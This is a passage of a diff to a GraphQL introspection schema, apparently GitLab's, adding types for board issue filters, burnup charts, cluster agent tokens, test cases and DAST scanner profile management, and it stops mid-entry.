@@ -3140,7 +3150,27 @@
"description": "List of negated params. Warning: this argument is experimental and a subject to change in future",
"type": {
"kind": "INPUT_OBJECT",
- "name": "NegatedBoardEpicIssueInput",
+ "name": "NegatedBoardIssueInput",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "search",
+ "description": "Search query for issue title or description",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "epicWildcardId",
+ "description": "Filter by epic ID wildcard. Incompatible with epicId",
+ "type": {
+ "kind": "ENUM",
+ "name": "EpicWildcardId",
"ofType": null
},
"defaultValue": null
@@ -3151,16 +3181,6 @@
"possibleTypes": null
},
{
- "kind": "SCALAR",
- "name": "BoardID",
- "description": "Identifier of Board",
- "fields": null,
- "inputFields": null,
- "interfaces": null,
- "enumValues": null,
- "possibleTypes": null
- },
- {
"kind": "OBJECT",
"name": "BoardList",
"description": "Represents a list for an issue board",
@@ -3216,6 +3236,16 @@
"description": "Board issues",
"args": [
{
+ "name": "filters",
+ "description": "Filters applied when selecting issues in the board list",
+ "type": {
+ "kind": "INPUT_OBJECT",
+ "name": "BoardIssueInput",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -3495,7 +3525,7 @@
"inputFields": [
{
"name": "boardId",
- "description": "The Global ID of the issue board to mutate",
+ "description": "Global ID of the issue board to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -3519,7 +3549,7 @@
},
{
"name": "labelId",
- "description": "ID of an existing label",
+ "description": "Global ID of an existing label",
"type": {
"kind": "SCALAR",
"name": "LabelID",
@@ -3528,6 +3558,26 @@
"defaultValue": null
},
{
+ "name": "milestoneId",
+ "description": "Global ID of an existing milestone",
+ "type": {
+ "kind": "SCALAR",
+ "name": "MilestoneID",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "assigneeId",
+ "description": "Global ID of an existing user",
+ "type": {
+ "kind": "SCALAR",
+ "name": "UserID",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "clientMutationId",
"description": "A unique identifier for the client performing the mutation.",
"type": {
@@ -3843,6 +3893,109 @@
},
{
"kind": "OBJECT",
+ "name": "BurnupChartDailyTotals",
+ "description": "Represents the total number of issues and their weights for a particular day",
+ "fields": [
+ {
+ "name": "completedCount",
+ "description": "Number of closed issues as of this day",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "completedWeight",
+ "description": "Total weight of closed issues as of this day",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "date",
+ "description": "Date for burnup totals",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ISO8601Date",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "scopeCount",
+ "description": "Number of issues as of this day",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "scopeWeight",
+ "description": "Total weight of issues as of this day",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "CiGroup",
"description": null,
"fields": [
@@ -4240,6 +4393,16 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "CiPipelineID",
+ "description": "Identifier of Ci::Pipeline",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "CiStage",
"description": null,
@@ -4497,6 +4660,59 @@
"deprecationReason": null
},
{
+ "name": "tokens",
+ "description": "Tokens associated with the cluster agent",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentTokenConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "updatedAt",
"description": "Timestamp the cluster agent was updated",
"args": [
@@ -4520,6 +4736,601 @@
},
{
"kind": "OBJECT",
+ "name": "ClusterAgentConnection",
+ "description": "The connection type for ClusterAgent.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "ClusterAgent",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "ClusterAgentDeleteInput",
+ "description": "Autogenerated input type of ClusterAgentDelete",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "Global id of the cluster agent that will be deleted",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ClustersAgentID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ClusterAgentDeletePayload",
+ "description": "Autogenerated return type of ClusterAgentDelete",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ClusterAgentEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgent",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ClusterAgentToken",
+ "description": null,
+ "fields": [
+ {
+ "name": "clusterAgent",
+ "description": "Cluster agent this token is associated with",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgent",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "createdAt",
+ "description": "Timestamp the token was created",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "id",
+ "description": "Global ID of the token",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ClustersAgentTokenID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ClusterAgentTokenConnection",
+ "description": "The connection type for ClusterAgentToken.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentTokenEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentToken",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "ClusterAgentTokenCreateInput",
+ "description": "Autogenerated input type of ClusterAgentTokenCreate",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "clusterAgentId",
+ "description": "Global ID of the cluster agent that will be associated with the new token",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ClustersAgentID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ClusterAgentTokenCreatePayload",
+ "description": "Autogenerated return type of ClusterAgentTokenCreate",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "secret",
+ "description": "Token secret value. Make sure you save it - you won't be able to access it again",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "token",
+ "description": "Token created after mutation",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentToken",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "ClusterAgentTokenDeleteInput",
+ "description": "Autogenerated input type of ClusterAgentTokenDelete",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "Global ID of the cluster agent token that will be deleted",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ClustersAgentTokenID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ClusterAgentTokenDeletePayload",
+ "description": "Autogenerated return type of ClusterAgentTokenDelete",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "ClusterAgentTokenEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentToken",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "SCALAR",
+ "name": "ClustersAgentID",
+ "description": "Identifier of Clusters::Agent",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "SCALAR",
+ "name": "ClustersAgentTokenID",
+ "description": "Identifier of Clusters::AgentToken",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "Commit",
"description": null,
"fields": [
@@ -5325,7 +6136,7 @@
"inputFields": [
{
"name": "projectPath",
- "description": "Full path of the project.",
+ "description": "Full path of the project",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -5339,13 +6150,13 @@
},
{
"name": "configuration",
- "description": "Payload containing SAST variable values (https://docs.gitlab.com/ee/user/application_security/sast/#available-variables).",
+ "description": "SAST CI configuration for the project",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
- "kind": "SCALAR",
- "name": "JSON",
+ "kind": "INPUT_OBJECT",
+ "name": "SastCiConfigurationInput",
"ofType": null
}
},
@@ -5412,14 +6223,32 @@
"deprecationReason": null
},
{
- "name": "result",
- "description": "JSON containing the status of MR creation.",
+ "name": "status",
+ "description": "Status of creating the commit for the supplied SAST CI configuration",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "successPath",
+ "description": "Redirect path to use when the response is successful",
"args": [
],
"type": {
"kind": "SCALAR",
- "name": "JSON",
+ "name": "String",
"ofType": null
},
"isDeprecated": false,
@@ -6443,7 +7272,7 @@
},
{
"name": "confidential",
- "description": "Indicates if the epic is confidential. Will be ignored if `confidential_epics` feature flag is disabled",
+ "description": "Indicates if the epic is confidential",
"type": {
"kind": "SCALAR",
"name": "Boolean",
@@ -7170,26 +7999,6 @@
"defaultValue": null
},
{
- "name": "fileName",
- "description": "File name of the snippet",
- "type": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "content",
- "description": "Content of the snippet",
- "type": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- },
- "defaultValue": null
- },
- {
"name": "description",
"description": "Description of the snippet",
"type": {
@@ -7343,6 +8152,254 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "CreateTestCaseInput",
+ "description": "Autogenerated input type of CreateTestCase",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "title",
+ "description": "The test case title",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "description",
+ "description": "The test case description",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "labelIds",
+ "description": "The IDs of labels to be added to the test case.",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "projectPath",
+ "description": "The project full path to create the test case",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CreateTestCasePayload",
+ "description": "Autogenerated return type of CreateTestCase",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "testCase",
+ "description": "The test case created",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Issue",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INTERFACE",
+ "name": "CurrentUserTodos",
+ "description": null,
+ "fields": [
+ {
+ "name": "currentUserTodos",
+ "description": "Todos for the current user",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "State of the todos",
+ "type": {
+ "kind": "ENUM",
+ "name": "TodoStateEnum",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "TodoConnection",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": [
+ {
+ "kind": "OBJECT",
+ "name": "Design",
+ "ofType": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "Epic",
+ "ofType": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "EpicIssue",
+ "ofType": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "Issue",
+ "ofType": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "MergeRequest",
+ "ofType": null
+ }
+ ]
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "DastOnDemandScanCreateInput",
"description": "Autogenerated input type of DastOnDemandScanCreate",
"fields": null,
@@ -7376,6 +8433,16 @@
"defaultValue": null
},
{
+ "name": "dastScannerProfileId",
+ "description": "ID of the scanner profile to be used for the scan.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "DastScannerProfileID",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "clientMutationId",
"description": "A unique identifier for the client performing the mutation.",
"type": {
@@ -7477,10 +8544,24 @@
{
"kind": "OBJECT",
"name": "DastScannerProfile",
- "description": "Represents a DAST scanner profile.",
+ "description": "Represents a DAST scanner profile",
"fields": [
{
- "name": "id",
+ "name": "editPath",
+ "description": "Relative web path to the edit page of a scanner profile",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "globalId",
"description": "ID of the DAST scanner profile",
"args": [
@@ -7490,7 +8571,7 @@
"name": null,
"ofType": {
"kind": "SCALAR",
- "name": "ID",
+ "name": "DastScannerProfileID",
"ofType": null
}
},
@@ -7498,6 +8579,24 @@
"deprecationReason": null
},
{
+ "name": "id",
+ "description": "ID of the DAST scanner profile. Deprecated in 13.4: Use `global_id`",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": true,
+ "deprecationReason": "Use `global_id`. Deprecated in 13.4"
+ },
+ {
"name": "profileName",
"description": "Name of the DAST scanner profile",
"args": [
@@ -7513,7 +8612,7 @@
},
{
"name": "spiderTimeout",
- "description": "The maximum number of seconds allowed for the spider to traverse the site",
+ "description": "The maximum number of minutes allowed for the spider to traverse the site",
"args": [
],
@@ -7650,7 +8749,7 @@
},
{
"name": "spiderTimeout",
- "description": "The maximum number of seconds allowed for the spider to traverse the site.",
+ "description": "The maximum number of minutes allowed for the spider to traverse the site.",
"type": {
"kind": "SCALAR",
"name": "Int",
@@ -7729,16 +8828,132 @@
"deprecationReason": null
},
{
- "name": "id",
+ "name": "globalId",
"description": "ID of the scanner profile.",
"args": [
],
"type": {
"kind": "SCALAR",
+ "name": "DastScannerProfileID",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "id",
+ "description": "ID of the scanner profile.. Deprecated in 13.4: Use `global_id`",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
"name": "ID",
"ofType": null
},
+ "isDeprecated": true,
+ "deprecationReason": "Use `global_id`. Deprecated in 13.4"
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "DastScannerProfileDeleteInput",
+ "description": "Autogenerated input type of DastScannerProfileDelete",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "fullPath",
+ "description": "Full path for the project the scanner profile belongs to.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "id",
+ "description": "ID of the scanner profile to be deleted.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "DastScannerProfileID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "DastScannerProfileDeletePayload",
+ "description": "Autogenerated return type of DastScannerProfileDelete",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
"isDeprecated": false,
"deprecationReason": null
}
@@ -7796,9 +9011,177 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "DastScannerProfileID",
+ "description": "Identifier of DastScannerProfile",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "DastScannerProfileUpdateInput",
+ "description": "Autogenerated input type of DastScannerProfileUpdate",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "fullPath",
+ "description": "The project the scanner profile belongs to.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "id",
+ "description": "ID of the scanner profile to be updated.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "DastScannerProfileID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "profileName",
+ "description": "The name of the scanner profile.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "spiderTimeout",
+ "description": "The maximum number of minutes allowed for the spider to traverse the site.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "targetTimeout",
